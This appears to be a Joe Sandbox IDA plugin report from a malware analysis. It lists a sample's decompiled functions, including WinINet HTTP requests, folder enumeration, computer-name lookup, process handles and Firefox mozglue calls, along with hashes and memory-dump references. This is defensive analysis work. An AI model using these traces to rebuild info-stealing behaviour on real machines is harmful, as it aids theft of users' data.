Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 9a8322d3521da019dcb2411dd857bb06f81512dbdf4779539cae18b8fd57b5e0
Instruction ID: 1ca50cb4de0ba6e2d6b2a79e958aab2d150a7dfcdc092e24f74d5ab97277c4ef
Opcode Fuzzy Hash: 9a8322d3521da019dcb2411dd857bb06f81512dbdf4779539cae18b8fd57b5e0
Instruction Fuzzy Hash: 1CF03470A4020EAFE720ABA09C0ABBE7E74FF14701F108914B753A21C1DBB85541DAA6

Function 005E47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005E4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 005E4849

Strings

<, xrefs: 005E47C9

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 494b8f10b4cbc34de2ae8950238c8bf35966fe17cb24cda2d49d5a1775c7a9ab
Instruction ID: d46f078b5620b730c5d5fba07d4dc344ab5c974eb38e169bd2726017ba3c4599
Opcode Fuzzy Hash: 494b8f10b4cbc34de2ae8950238c8bf35966fe17cb24cda2d49d5a1775c7a9ab
Instruction Fuzzy Hash: 6F213EB1D00209ABDF14DFA5EC49ADE7B75FF44320F108625FA55A7291EB706A0ACB81

Function 005F51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E6280: InternetOpenA.WININET(00600DFE,00000001,00000000,00000000,00000000), ref: 005E62E1
Part of subcall function 005E6280: StrCmpCA.SHLWAPI(?,0164E390), ref: 005E6303
Part of subcall function 005E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005E6335
Part of subcall function 005E6280: HttpOpenRequestA.WININET(00000000,GET,?,0164DDD0,00000000,00000000,00400100,00000000), ref: 005E6385
Part of subcall function 005E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005E63BF
Part of subcall function 005E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005E63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005F5228

Strings

ERROR, xrefs: 005F5273
ERROR, xrefs: 005F521A

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 9f70e631c66d8f1639f6baf99024e9b8c244140345d8bef5c9ff9a9b082b7238
Instruction ID: ea4a61f22ca0bd2861b335c8df4dbe5328fb301449c88483c71223ae66e30972
Opcode Fuzzy Hash: 9f70e631c66d8f1639f6baf99024e9b8c244140345d8bef5c9ff9a9b082b7238
Instruction Fuzzy Hash: 91110D7090014DA7CB18FB60DD5AAFD7B38BF90340F408554FA4A5B192EF786B0ACA92

Function 005F4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

lstrcat.KERNEL32(?,00000000), ref: 005F4F7A
lstrcat.KERNEL32(?,00601070), ref: 005F4F97
lstrcat.KERNEL32(?,01648A50), ref: 005F4FAB
lstrcat.KERNEL32(?,00601074), ref: 005F4FBD

Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F492C
Part of subcall function 005F4910: FindFirstFileA.KERNEL32(?,?), ref: 005F4943

Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,00600FDC), ref: 005F4971
Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,00600FE0), ref: 005F4987
Part of subcall function 005F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 005F4B7D
Part of subcall function 005F4910: FindClose.KERNEL32(000000FF), ref: 005F4B92

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 8048f074dbed0e8fb81205d833683ac04e50a6bf7ceffde1a19aa990269a73e7
Instruction ID: 72f3c39dfffaa18bca419e5431fac1be84b12a6ed92b53fc30cf83cb5fb855df
Opcode Fuzzy Hash: 8048f074dbed0e8fb81205d833683ac04e50a6bf7ceffde1a19aa990269a73e7
Instruction Fuzzy Hash: 8F219B7690020967C768F7B0DD4AEFE373DBF94300F008555B69A961C1EEB496C98F92

Function 005F0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01648A90), ref: 005F079A
StrCmpCA.SHLWAPI(00000000,01648A00), ref: 005F0866
StrCmpCA.SHLWAPI(00000000,01648A80), ref: 005F099D

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 43b009cfa2385870623cd6424cff3e8bb04e89b2af678cd1a6fb96ae74cea3f4
Instruction ID: a6b186aef7c9fab209ac89839b72bb14ae431685a13e97e0064ae019775fbe37
Opcode Fuzzy Hash: 43b009cfa2385870623cd6424cff3e8bb04e89b2af678cd1a6fb96ae74cea3f4
Instruction Fuzzy Hash: E8919975A002499FCB28EF64D995EFD7BB5FFD4300F408519E90A8F295DB34AA05CB82

Function 005F0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01648A90), ref: 005F079A
StrCmpCA.SHLWAPI(00000000,01648A00), ref: 005F0866
StrCmpCA.SHLWAPI(00000000,01648A80), ref: 005F099D

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 409237d5e7ff0f220c220fa8ddf3113445b00c3757472e0e295882b58b00ff98
Instruction ID: e945f6c427756eec14316e28ed134df207095ba78105fc35b9059354c058c42f
Opcode Fuzzy Hash: 409237d5e7ff0f220c220fa8ddf3113445b00c3757472e0e295882b58b00ff98
Instruction Fuzzy Hash: C481A875A102099FCB18EF64C995EFDBBB5FFD4300F408119E9099F255DB34AA06CB82

Function 005F78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7910
RtlAllocateHeap.NTDLL(00000000), ref: 005F7917
GetComputerNameA.KERNEL32(?,00000104), ref: 005F792F

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 77c44ac890269bfc04f07a561f521cd3a41925f5cf675eb4a54b491afbe90bcf
Instruction ID: 5206a68af0426deb1e581ace0478f078ec88d71068519d5e8dcf9f33a7fe29ad
Opcode Fuzzy Hash: 77c44ac890269bfc04f07a561f521cd3a41925f5cf675eb4a54b491afbe90bcf
Instruction Fuzzy Hash: 3F0186B1A4420DEBC714DF94DD45BAABFB8FB04B11F104629FA45E3280C77959008BA1

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Function 005F9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 005F9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 005F94A5
CloseHandle.KERNEL32(00000000), ref: 005F94AF

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
